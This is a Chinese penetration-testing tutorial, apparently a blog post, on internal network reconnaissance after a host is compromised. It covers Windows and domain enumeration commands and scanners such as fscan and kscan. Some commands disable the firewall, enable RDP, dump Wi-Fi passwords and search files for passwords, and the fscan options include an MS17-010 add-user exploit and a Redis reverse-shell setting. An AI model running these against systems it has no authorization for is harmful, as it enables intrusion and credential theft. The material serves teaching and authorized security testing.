内网信息收集

一、内网信息收集概述

信息收集是渗透测试的前期主要工作,是非常重要的环节,只有收集足够多的信息才能方便接下来的测试,在聊内网信息收集之前先看看外网信息收集:

  • 外网信息收集
    主要收集以下信息:
    真实IP地址、子域名、端口、目录结构、敏刚文件、JS信息、App小程序、端口、中间件、旁站、C段、Whois、公司结构、公司相关手机邮件、……等等通过各种渠道和手段尽可能收集到多的关于这个站点的信息

当我们通过外网信息收集,漏洞探测以及漏洞利用后,获得了主机的权限后,我们需要扩大渗透的战果时,这是我们就要进行内网的渗透了,内网渗透最重要的还是前期我们对内网的信息收集,信息收集需要收集什么内容,对后期的横向移动都有很大的帮助。

  • 内网信息收集
    主要针对公司的网络结构,网络连通性,是否是域环境,是否有杀软,用户信息等收集。例如:内网本地信息收集、自动收集本地信息、内网IP、端口扫描、域内基础信息收集、查找域控、获取域内用户等信息
    在这里插入图片描述

二、使用CobaltStrike手动进行本地工作组信息收集

  • 获取网络配置信息

    ipconfig /all
    

    在这里插入图片描述

  • 查询操作系统和版本信息

    systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
    systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
    

    在这里插入图片描述

  • 查看系统体系结构

    echo %PROCESSOR_ARCHITECTURE%
    

    在这里插入图片描述

  • 查看安装的软件及版本

    wmic product get name,version
    powershell "Get-WmiObject -class win32_product | Select-Object -Property name,version"
    

    在这里插入图片描述

  • 查看本机运行的服务

    wmic service list brief
    

    在这里插入图片描述

  • 查看电脑启动程序

    wmic startup get command,caption
    

    在这里插入图片描述

  • 查看进程

    tasklist
    wmic process list brief
    

    在这里插入图片描述

  • 查看计划任务(如果出现无法加载列资源 输入:chcp 437)

    schtasks /query /fo LIST /v
    
  • 查看开机时间

    net statistics workstation
    

    在这里插入图片描述

  • 查看用户列表信息

    net user
    wmic useraccount get name,SID
    

    在这里插入图片描述

  • 查看当前会话列表

    net session
    
  • 查看端口信息

    netstat -ano
    
  • 查看补丁信息

    systeminfo
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    

    在这里插入图片描述

  • 查看共享列表

    net share
    wmic share get name,path,status
    

    在这里插入图片描述

  • 查询路由信息

    route print
    
  • 查询Arp信息

    arp -a
    
  • 查看防火墙是否开启

    netsh firewall show state
    

    在这里插入图片描述

  • 关闭防火墙

    # Windows server 2003 
    netsh firewall set opmode disable
    # Windows server 2003之后
    netsh firewall set opmode disable 或者 netsh advfirewall set allprofiles state off
    
  • 开启3389

    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f #关闭
    
  • 收集本地Wi-Fi密码

    for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
    
  • 查询RDP端口(十六进制d3d表示3389)

    reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber
    

    在这里插入图片描述

  • 查询当前保存的凭据

    cmdkey /l
    
  • 查询最近打开的文件

    dir %APPDATA%\Microsoft\Windows\Recent
    

    在这里插入图片描述

  • 查询本地工作组

    net localgroup
    
  • 查询管理员组员信息

    net localgroup administrators
    

    在这里插入图片描述

  • 查询RDP凭据

    dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
    

    在这里插入图片描述

  • 查询杀软等信息

    wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list
    

三、域内信息收集

当我们进入内网,并且确定了当前内网拥有域环境,并且所控制的主机在域里面,就可以进行域内相关信息的收集了。 因为这些查询命令本质上都是通过 LDAP协议去域控制器上查询的,

1、域内基本信息收集

  • 查询当前用户权限

    whoami
    

    获取某台主机的权限后,可能会有以下几种情况:

    • 本地普通用户
    • 本地管理员用户
    • 域内普通用户
    • 域内管理员用户

    如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息,而本地管理员和域内用户可以查询域内信息

  • 判断是否为域环境

    # 以下命令都可以查询是否存在域
    ipconfig /all
    systeminfo
    net config workstation
    net time /domain
    net view /domain
    

    在这里插入图片描述

  • 查询域内所有计算机

    net view /domain:域名
    
  • 查询域内所有用户组列表

    net group /domain
    

    在这里插入图片描述

  • 查询所有域用户组成员列表

    net group "域用户组" /domain
    net group "domain admins" /domain				# 查询域管理用户
    net group "Enterprise Admins" /domain			# 查询域管理员用户组
    

    在这里插入图片描述

  • 获取域信任信息

    nltest /domain_trusts
    

    在这里插入图片描述

2、定位域控

  • 查看域控的主机名

    nltest /DCLIST:域名
    nslookup -type=SRV _ldap._tcp   # 查看域控的主机名和IP地址
    

    在这里插入图片描述

  • 查看当前域内时间
    在通常情况下,时间服务器为主域控制器

    net time /domain
    

    在这里插入图片描述

  • 域控制器的计算机账户名称

    net group "Domain Controllers" /domain
    

3、定位域管理员

  • Psloggedon
    psloggedon.exe 可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定了用户名而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录。
    此工具本质是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台机器。

    # 用法
    psloggedon.exe [-] [-l] [-x] [-accepteula] [\\computername|username]
    # 参数 
    -  显示支持的选项和用于输出值的度量单位
    -l 仅显示本地登录,而不显示本地和网络资源登录
    -x 不显示登录时间
    

    在这里插入图片描述

    工具地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/psloggedon

  • PVEDFindADUser
    pveFindADUser.exe 可用于查找 AD用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP登录的用户、用于运行服务和计划任务的用户账户

    # 用法
    pvefindaduser.exe -current
    

    在这里插入图片描述

    工具地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

  • Netview
    netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,查找登录会话,查找共享,枚举登录用户等,命令行直接运行可查看帮助信息。感觉效果不是很好

    # 用法
    netview.exe -d
    # 参数 
    -h 						显示帮助菜单
    -f filename.txt			指定从中提取主机列表的文件
    -e filename.txt			指定要排除的主机名文件
    -o filename.txt			将所有输出重定向到文件
    -d domain				指定从中提取主机列表的域。如果没有指定,则使用当前域
    -g group				指定用户搜寻的组名。如果没有指定,则使用 Domain Admins
    -c						检查对已找到共享的访问权限
    

    在这里插入图片描述

    工具地址:https://github.com/mubix/netview

  • PowerView脚本
    PowerView 脚本中包含了一系列的 powershell 脚本,可以用来获取当前域管理员在线登录的服务器。信息收集相关的脚本有 Invoke-StealthUserHunterInvoke-UserHunter等。
    Invoke-UserHunter:搜索本地域中域管理员当前在线的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用 Get-NetSessionsGet-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。打开powershell,进入脚本目录,输入Import-Module .\PowerView.ps1 导入脚本。然后输入Invoke-UserHunter即可

    # 用法
    powershell.exe -exec bypass -command "& { import-module .\PowerView.ps1;Invoke-UserHunter}"
    

    在这里插入图片描述

    工具地址:https://github.com/PowerShellEmpirc/PowerTools/tree/master/PowerView

4、敏感数据定位

内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中,像高级管理人员系统管理人员财务/人事/业务人员等个人计算机。

产品管理系统服务器、办公系统服务器、财务应用系统服务器、核心产品源码服务器(SVN/GIT服务器)、数据库服务器、文件服务器、共享服务器、电子邮件服务器、网站监控系统服务器、信息安全监控服务器、生产工厂服务器、站点源码备份文件、数据库备份文件等等。

浏览器保存的密码和浏览器的Cookie以及其他用户会话、3389和ipc$连接记录、回收站中的信息等等。以及Windows的无线密码、网络内部的各种账号密码、包含电子邮箱,VPN,FTP等等很多重要信息。

  • 指定目录下搜集各类敏感文件
    dir /a /s /b d:\"*.txt"
    dir /a /s /b d:\"*.xml"
    dir /a /s /b d:\"*.mdb"
    dir /a /s /b d:\"*.sql"
    dir /a /s /b d:\"*.mdf"
    dir /a /s /b d:\"*.eml"
    dir /a /s /b d:\"*.pst"
    dir /a /s /b d:\"*conf*"
    dir /a /s /b d:\"*bak*"
    dir /a /s /b d:\"*pwd*"
    dir /a /s /b d:\"*pass*"
    dir /a /s /b d:\"*login*"
    dir /a /s /b d:\"*user*"
    
  • 指定目录下的文件中搜集各种账号密码
    findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    

四、内网IP扫描

1、ICMP协议扫描

  • Ping扫描
    使用ping命令配合cmd语法进行C端扫描,命令:

    for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
    

    在这里插入图片描述

  • Fping
    fping是一个小型命令行工具,用于向网络主机发送ICMP回应请求,类似于ping,但在ping多个主机时性能要高得多。fping完全不同于ping,一位可以指定IP数量和网段,常用用法如下:

    fping.exe IP1 IP2 -c 10           # 扫描多个IP10次
    fping.exe -a -g 172.18.9.0/24     # 扫描C端IP
    

2、ARP协议扫描扫描

  • 使用本地自带ARP命令查看ARP缓存表信息
    arp -a
    
  • 使用Arp的工具进行探测
    arp.exe -t IP段
    

3、NetBISO协议扫描

NetBIOS协议由IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。
nbtscan 是一款用于 NetBIOS 主机扫描的工具,它可以帮助您快速发现运行 NetBIOS 服务的主机。通过向目标 IP 地址发送 NetBIOS Name Service (NBT-NS) 查询来探测主机。它可以快速扫描整个 IP 子网或者指定的一组 IP 地址,并返回发现的运行 NetBIOS 服务的主机列表及其对应的 NetBIOS 名称。

nbtscan.exe  IP/IP网段

在这里插入图片描述

工具地址:http://www.unixwiz.net/tools/nbtscan.html

4、Fscan工具扫描

fscan 是一个内网综合扫描工具,方便一键自动化、全方位漏洞扫描。它支持主机存活探测、端口扫描、常见服务的爆破、ms17-010、Redis批量写公钥、计划任务反弹shell、读取Win网卡信息、Web指纹识别、Web漏洞扫描、Netbios探测、域控识别等功能。

# 基本使用
fscan.exe -h [IP] 				#默认使用全部模块
fscan.exe -hf ip.txt			#以文件进行导入扫描
fscan.exe -h [IP] -m [模块] -p [模块对应的端口] -pwdf [密码文件] -userf [用户名文件]	#对模块进行自定义文件爆破
fscan.exe -h [IP] -np -nopoc  	#跳过存活检测、web poc扫描
fscan.exe -h [IP] -c [执行的命令]		# 使用ssh命令执行
fscan.exe -h [IP] -m ms17010 -sc add	# 利用ms17010漏洞,添加一个用户,用户名:sysadmin 密码:1qaz@WSX!@#4
# 完整参数
-c string      		#ssh命令执行
-cookie string  	#设置cookie
-debug int     		#多久没响应,就打印当前进度(default 60)
-domain string   	#smb爆破模块时,设置域名
-h string     		#目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string      	#读取文件中的目标
-hn string      	#扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string       	#设置扫描模式: -m ssh (default "all")
-no          		#扫描结果不保存到文件中
-nobr         		#跳过sql、ftp、ssh等的密码爆破
-nopoc        		#跳过web poc扫描
-np          		#跳过存活探测
-num int       		#web poc 发包速率  (default 20)
-o string         	#扫描结果保存到哪 (default "result.txt")
-p string          	#设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string        	#新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string      	#fcgi、smb romote file path
-ping            	#使用ping代替icmp进行存活探测
-pn string        	#扫描时要跳过的端口,as: -pn 445
-pocname string   	#指定web poc的模糊名字, -pocname weblogic
-proxy string     	#设置代理, -proxy http://127.0.0.1:8080
-user string      	#指定爆破时的用户名
-userf string     	#指定爆破时的用户名文件
-pwd string       	#指定爆破时的密码
-pwdf string      	#指定爆破时的密码文件
-rf string        	#指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string       	#redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent          	#静默扫描,适合cs扫描时不回显
-sshkey string    	#ssh连接时,指定ssh私钥
-t int          	#扫描线程 (default 600)
-time int         	#端口扫描超时时间 (default 3)
-u string          	#指定Url扫描
-uf string        	#指定Url文件扫描
-wt int          	#web访问超时时间 (default 5)
-pocpath string  	#指定poc路径
-usera string   	#在原有用户字典基础上,新增新用户
-pwda string    	#在原有密码字典基础上,增加新密码
-socks5       		#指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)
-sc         		#指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)

在这里插入图片描述

项目地址:https://github.com/shadow1ng/fscan

5、Kscan工具扫描

Kscan是一款轻量级的资产发现工具,可针对IP/IP段或资产列表进行端口扫描以及TCP指纹识别和Banner抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。

# 基本使用
kscan -t [IP]			# 端口探测
kscan --spy				# 存活网段探测
kscan -t [IP] --hydra  	# 暴力破解
# 使用方法
usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--spy]) [options] [hydra options] [fofa options]


optional arguments:
  -h , --help     show this help message and exit
  -f , --fofa     从fofa获取检测对象,需提前配置环境变量:FOFA_EMAIL、FOFA_KEY
  -t , --target   指定探测对象:
                  IP地址:114.114.114.114
                  IP地址段:114.114.114.114/24,不建议子网掩码小于12
                  IP地址段:114.114.114.114-115.115.115.115
                  URL地址:https://www.baidu.com
                  文件地址:file:/tmp/target.txt
                  剪切板: paste or clipboard
  --spy           网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:
                  ()、192、10、172、all、指定IP地址(将探测该IP地址B段存活网关)
options:
  --check         针对目标地址做指纹识别,仅不会进行端口探测
  --scan          将针对--fofa、--spy提供的目标对象,进行端口扫描和指纹识别
  -p , --port     扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090
  -o , --output   将扫描结果保存到文件
  -oJ             将扫描结果使用json格式保存到文件
  -oC             将扫描结果使用csv格式保存到文件
  -Pn             使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率
  -Cn             使用此参数后,控制台输出结果将不会带颜色。
  -Dn             使用此参数后,将关闭CDN识别功能
  -sV             使用此参数后,将对所有端口进行全探针探测,此参数极度影响效率,慎用!
  --top           扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP400
  --proxy         设置代理(socks5|socks4|https|http)://IP:Port
  --threads       线程参数,默认线程100,最大值为2048
  --path          指定请求访问的目录,只支持单个目录
  --host          指定所有请求的头部Host值
  --timeout       设置超时时间
  --encoding      设置终端输出编码,可指定为:gb2312、utf-8
  --match         对资产返回banner进行检索,剔除不存在关键字的结果记录
  --not-match     对资产返回banner进行检索,剔除存在关键字的结果记录
  --hydra         自动化爆破支持协议:ssh,rdp,ftp,smb,mysql,mssql,oracle,postgresql,mongodb,redis,默认会开启全部
hydra options:
   --hydra-user   自定义hydra爆破用户名:username or user1,user2 or file:username.txt
   --hydra-pass   自定义hydra爆破密码:password or pass1,pass2 or file:password.txt
                  若密码中存在使用逗号的情况,则使用\,进行转义,其他符号无需转义
   --hydra-update 自定义用户名、密码模式,若携带此参数,则为新增模式,会将用户名和密码补充在默认字典后面。否则将替换默认字典。
   --hydra-mod    指定自动化暴力破解模块:rdp or rdp,ssh,smb
fofa options:
   --fofa-syntax  将获取fofa搜索语法说明
   --fofa-size    将设置fofa返回条目数,默认100条
   --fofa-fix-keyword 修饰keyword,该参数中的{}最终会替换成-f参数的值

在这里插入图片描述

项目地址:https://github.com/lcvvvv/kscan

五、内网端口扫描

1、内网端口扫描概述

通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的漏洞,在进行内网渗测试时,通常会使用Metasploit、Cobalt Strike内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器的环境,使用自定义的端口扫描脚本进行扫描。在获得授权的情况下,可以直接使用Nmap、masscan等端口扫描工具获取开放的端口信息。

2、常见端口及其对应的服务

端口号端口说明使用说明
21、22、69FTP/FTP 文件传输协议允许匿名的上传、下载、爆破和嗅探操作
2049NFS 服务配置不当
139SAMBA 服务爆破、未授权访问、远程代码执行
22SSH远程连接爆破、SSH隧道及内网代理转发、文件传输
23Telnet 远程连接爆破、嗅探、弱口令
3389RDP 远程桌面连接Shift 后门(2003 以下版本)、爆破
5900VNC弱口令爆破
80、443、8080常见的Web 服务端口Web 攻击、爆破、对应服务器版本漏洞
7001、7002WebLogic 控制台Java 反序列化、弱口令
8080、8089JBoss/Resin/Jetty/Jenkins反序列化、控制台弱口令
9090WebSphere 控制台Java 反序列化、弱口令
4848GlassFish 控制台弱口令
1352Lotus Domino 邮件服务弱口令、信息泄露、爆破
10000webmin 控制面板弱口令
3306MySQL 数据库注入、提权、爆破
1433MSSQL 数据库注入、提权、SA 弱口令、爆破
1521Oracle 数据库爆破、注入、反弹Shell
5432Post greSQL数据库爆破、注入、弱口令
27017、27018MongoDB 数据库爆破、未授权访问
25SMTP 邮件服务邮件伪造
110POP3 协议爆破、嗅探
53DNS 域名系统允许区域传送、DNS 劫持、缓存投毒、欺骗
67、68DHCP 服务劫持、欺骗
2181ZooKeeper 服务未授权访问
8069Zabbix 服务远程执行、SQL 注入
9200、9300Elasticsearch 服务远程执行
11211Memcached 服务未授权访问
512、513、514Linux rexec 服务爆破、远程登录
873rsync 服务匿名访问、文件上传
3690SVN 服务SVN 泄露、未授权访问
50000SAP Management Console远程执行

3、ScanLine端口扫描

ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度很快,不需要winPcap库支持,应用场合受限较少。

# 用法
scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O [输出文件路径] -p [IP] /b

4、Telnet端口扫描

Telnet 协议是TCP/IP协议族的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用Telnet协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用telnet命令是最方便的

telnet [IP] [port]

5、Kscan、Fscan等其他端口扫描工具

  • 28
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值